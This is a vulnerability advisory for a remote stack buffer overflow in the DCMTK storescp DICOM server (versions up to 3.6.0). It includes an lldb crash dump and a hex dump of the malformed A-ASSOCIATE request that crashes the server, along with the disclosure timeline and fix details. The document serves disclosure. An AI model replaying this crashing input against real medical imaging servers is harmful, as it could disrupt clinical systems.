← Advisories

DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow

High
Advisory ID
ZSL-2016-5384
Release Date
16 December 2016
Vendor
OFFIS e. V. - http://www.dcmtk.org
Affected Version
<= 3.6.0
Tested On
Microsoft Windows 7 Professional SP1 (EN), Microsoft Windows 7 Ultimate SP1 (EN), MacOS X 10.12.2 Sierra, Linux Ubuntu 14.04.5, FreeBSD 10.3
Summary

DCMTK is a collection of libraries and applications implementing large parts the DICOM standard. It includes software for examining, constructing and converting DICOM image files, handling offline media, sending and receiving images over a network connection, as well as demonstrative image storage and worklist servers. DCMTK is is written in a mixture of ANSI C and C++. It comes in complete source code and is made available as "open source" software.

Description

"At several places in the code a wrong length of ACSE data structures received over the network can cause overflows or underflows when processing those data structures. Related checks have been added at various places in order to prevent such (possible) attacks. Thanks to Kevin Basista for the report."

The bug will indeed affect all DCMTK-based server applications that accept incoming DICOM network connections that are using the dcmtk-3.6.0 and earlier versions. Developers are advised to apply the patched-DCMTK-3.6.1_20160216 fix commit from Dec 14, 2015.

Process 27765 stopped * thread #1: tid = 0x3e4b46, 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x10380001b) frame #0: 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325 storescp`parsePresentationContext: -> 0x1000a6f1d <+3325>: movb (%rax), %al 0x1000a6f1f <+3327>: movzbl %al, %eax 0x1000a6f22 <+3330>: cmpl $0x40, %eax 0x1000a6f25 <+3333>: movl %eax, -0xa74(%rbp) (lldb) re r General Purpose Registers: rax = 0x000000010380001b rbx = 0x0000000000000000 rcx = 0x00000001002d40f0 vtable for log4cplus::spi::AppenderAttachable + 16 rdx = 0x0000000000000010 rdi = 0x00007fff5fbf78a0 rsi = 0x3f7bc30000000000 rbp = 0x00007fff5fbf7b30 rsp = 0x00007fff5fbf7030 r8 = 0x0000000100733918 r9 = 0x00000000003e4b46 r10 = 0x0000000100733920 r11 = 0xffffffff00000000 r12 = 0x0000000000000000 r13 = 0x0000000000000000 r14 = 0x0000000000000000 r15 = 0x0000000000000000 rip = 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325 rflags = 0x0000000000010246 cs = 0x000000000000002b fs = 0x0000000000000000 gs = 0x0000000000000000 (lldb) ===== $ bin ./storescp -d 4242 D: $dcmtk: storescp v3.6.0 2011-01-06 $ D: D: setting network receive timeout to 60 seconds D: PDU Type: Associate Request, PDU Length: 32881 + 6 bytes PDU header D: Only dumping 512 bytes. D: 01 00 00 00 80 71 00 01 00 00 4f 52 54 48 41 4e D: 43 20 20 20 20 20 20 20 20 20 54 45 53 54 53 55 D: 49 54 45 00 00 00 00 00 00 00 00 00 00 00 00 00 D: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 D: 00 00 00 00 00 00 00 00 00 00 10 00 00 15 31 2e D: 32 2e 38 34 30 2e 31 30 30 30 38 2e 33 2e 31 2e D: 31 2e 31 20 00 80 00 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41 D: D: Parsing an A-ASSOCIATE PDU [1] 25553 segmentation fault ./storescp -d 4242 $ bin
Proof of Concept
Disclosure Timeline
14.12.2016Vendor informed.
14.12.2016Vendor confirms the issue, it was fixed in the 1b6bb76 commit (v3.6.1), scheduling official stable release 3.6.2 in Feb/Mar 2017.
16.12.2016Public security advisory released.
Credits
Vulnerability discovered by Gjoko Krstic
References
Changelog
16.12.2016Initial release
20.12.2016Added reference [2], [3], [4], [5], [6], [7], [8] and [9]
24.12.2016Added reference [10]
29.12.2016Added reference [11], [12] and [13]
31.01.2017Added reference [14], [15], [16], [17] and [18]
13.04.2017Added reference [19]
26.07.2023Added reference [20] and [21]